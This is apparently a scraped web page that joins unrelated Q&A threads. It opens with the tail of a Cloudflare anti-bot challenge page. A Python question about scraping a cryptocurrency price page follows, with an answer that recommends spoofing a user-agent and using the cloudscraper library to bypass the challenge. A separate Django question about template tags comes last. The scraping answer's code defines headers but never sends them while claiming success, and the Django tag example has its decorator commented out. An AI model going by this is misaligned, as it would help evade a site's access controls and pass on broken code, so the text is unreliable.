MWfgcLn0N4Lq0Df0EjaMB7/m6ceObvORNv2AVWgbvZxuJTv0ZwPnPV25nb3l1QkNjp2Cx8pghFfh+KdsGEwwP1AD/nFpdVRdTV2D39fQribW0VkRNhoiq+rTObjijAQ=="/>
<input type="hidden" value="083fe53780735202364bbe5cba47b14e" id="jschl-vc" name="jschl_vc"/>
<!-- <input type="hidden" value="" id="jschl-vc" name="jschl_vc"/> -->
<input type="hidden" name="pass" value="1637440999.927-7nb1cbKw+i"/>
<input type="hidden" id="jschl-answer" name="jschl_answer"/>
</form>
<script type="text/javascript">
//<![CDATA[
(function(){
var a = document.getElementById('cf-content');
a.style.display = 'block';
var isIE = /(MSIE|Trident\/|Edge\/)/i.test(window.navigator.userAgent);
var trkjs = isIE ? new Image() : document.createElement('img');
trkjs.setAttribute("src", "/cdn-cgi/images/trace/jschal/js/transparent.gif?ray=6b1482833fd66244");
trkjs.id = "trk_jschal_js";
trkjs.setAttribute("alt", "");
document.body.appendChild(trkjs);
var cpo=document.createElement('script');
cpo.type='text/javascript';
cpo.src="/cdn-cgi/challenge-platform/h/b/orchestrate/jsch/v1?ray=6b1482833fd66244";
document.getElementsByTagName('head')[0].appendChild(cpo);
}());
//]]>
</script>
<div id="trk_jschal_nojs" style="background-image:url('/cdn-cgi/images/trace/jschal/nojs/transparent.gif?ray=6b1482833fd66244')"> </div>
</div>
<div class="attribution">
DDoS protection by <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing/" target="_blank">Cloudflare</a>
<br />
<span class="ray_id">Ray ID: <code>6b1482833fd66244</code></span>
</div>
</td>
</tr>
</table>
</body>
</html>
Here is the actual code
import requests
from bs4 import BeautifulSoup as soup
Url = "https://tr.investing.com/crypto/bitcoin/btc-try?cid=1031382&__cf_chl_jschl_tk__=mwDMnxBYJ1cW7K9fW7d4wVxyw7g4eQEw67kFqN7wZhk-1637432241-0-gaNycGzNC30"
R = requests.get(Url)
print(R.text)
How can I receive the html of the site I want to get?
You're getting caught by cloudflare's antibot page. You should always try to simulate a human-like request, so I suggest including at least the user-agent in the header.
I just modified your code to include the user-agent in the header and for me it worked fine. Take a look...
!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup as soup
url = "https://tr.investing.com/crypto/bitcoin/btc-try?cid=1031382&__cf_chl_jschl_tk__=mwDMnxBYJ1cW7K9fW7d4wVxyw7g4eQEw67kFqN7wZhk-1637432241-0-gaNycGzNC30"
headers = {
'User-Agent': 'Mozilla/5.0',
}
response = requests.get(url)
print(response.text)
If that's not enough, there is the cloudscraper module which is specific to bypass this 5 second page.
https://pythonrepo.com/repo/VeNoMouS-cloudscraper-python-web-crawling
I tested it here and it worked. Take a look...
!/usr/bin/env python3
import cloudscraper
scraper = cloudscraper.create_scraper() # returns a CloudScraper instance
print(scraper.get("https://tr.investing.com/crypto/bitcoin/btc-try?cid=1031382&__cf_chl_jschl_tk__=mwDMnxBYJ1cW7K9fW7d4wVxyw7g4eQEw67kFqN7wZhk-1637432241-0-gaNycGzNC30").text)
I am new in django. So i need a help for including a view function within Template. I am searching but i am tired for finding my expectation. i want to use only django template tag. Would you please help me?
{View.py
def singUpLunch(request):
query_results = Menu.objects.all()
form=SingUpForm(request.POST or None)
if form.is_valid():
save_it=form.save(commit=False)
save_it.save()
messages.success(request,'Thanks for your co-operation')
return render_to_response('singUp.html',locals(),context_instance=RequestContext(request))
}
{my model
class SingUp(models.Model):
employee_id = models.AutoField(unique=True,primary_key=True)
name = models.CharField(max_length=20,choices=STATUS_CHOICES)
email = models.EmailField()
date = models.DateField()
lunch = models.BooleanField()
class Meta:
unique_together = ["name", "email","date"]
ordering = ['-date']
USERNAME_FIELD = 'employee_id'
REQUIRED_FIELDS = ['mobile']
def __unicode__(self):
return smart_unicode(self.email)
}
class SingUp(models.Model):
employee_id = models.AutoField(unique=True,primary_key=True)
name = models.CharField(max_length=20,choices=STATUS_CHOICES)
email = models.EmailField()
date = models.DateField() # auto_now_add=True, blank=True default=date.today(),blank=True
lunch = models.BooleanField()
class Meta:
unique_together = ["name", "email","date"]
ordering = ['-date']
USERNAME_FIELD = 'employee_id'
REQUIRED_FIELDS = ['mobile']
def __unicode__(self):
return smart_unicode(self.email)
my Template
{% load url from future %}
{% block content %}
{% if not email %}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Log in</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<style>
body
{
margin: 0;
padding: 0;
color: #555;
font: normal 12pt Arial,Helvetica,sans-serif;
background:#ffffff url(check2.jpg) repeat-x;
width: 130%;
height: 100%;
position: fixed;
top: 40px;
left: 480px
}
.span3.well {
min-height: 20px;
padding: 19px;
margin-bottom: 20px;
background-color: #f5f5ff;
border: 1px solid #e3e3e3;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
}
</style>
</head>
<body>
<head><div class='page-header pagination-centered'><img src=/static/logo.png class='img-rounded pagination-centere' /></div> </head>
{{ state }}
<div class="span3 well" style="height: auto;margin-left: 1.7%;width: 30%;">
<h2>Please Login
New User:  <a href="/signup/">
SignUp</a></h2>
<div class="leftpane">
<form action="" method="post"> {% csrf_token %}
{% if next %}
<input type="hidden" name="next" value="{{ next }}" />
{% endif %}
Email:
<input type="text" name="email" value="{{ email}}" /><br /><br />
password:
<input type="password" name="password" value="" /><br /><br />
<input type="submit" value="Log In" />
</form>
</div>
<div class="aboutus_portion">
</div>
</div>
<!-- <div id="rightcontent">
<li class=" dir"><h3>Admin</h3> </li>
</div>
-->
</body>
</html>
{% else %}
{% include 'singUpLunch' %} # here i want to call the view singUpLunch function
{% endif %}
{% endblock %}
You can see this Django custom template tags
Django expects template tags to live in a folder called 'templatetags' that is in an app module that is in your installed apps...
/my_project/
/my_app/
__init__.py
/templatetags/
__init__.py
my_tags.py
#my_tags.py
from django import template
register = template.Library()
#register.inclusion_tag('other_template.html')
def say_hello(takes_context=True):
return {'name' : 'John'}
#other_template.html
{% if request.user.is_anonymous %}
{# Our inclusion tag accepts a context, which gives us access to the request #}
<p>Hello, Guest.</p>
{% else %}
<p>Hello, {{ name }}.</p>
{% endif %}
#main_template.html
{% load my_tags %}
<p>Blah, blah, blah {% say_hello %}</p>
The inclusion tag renders another template, like you need, but without having to call a view function. Hope that gets you going.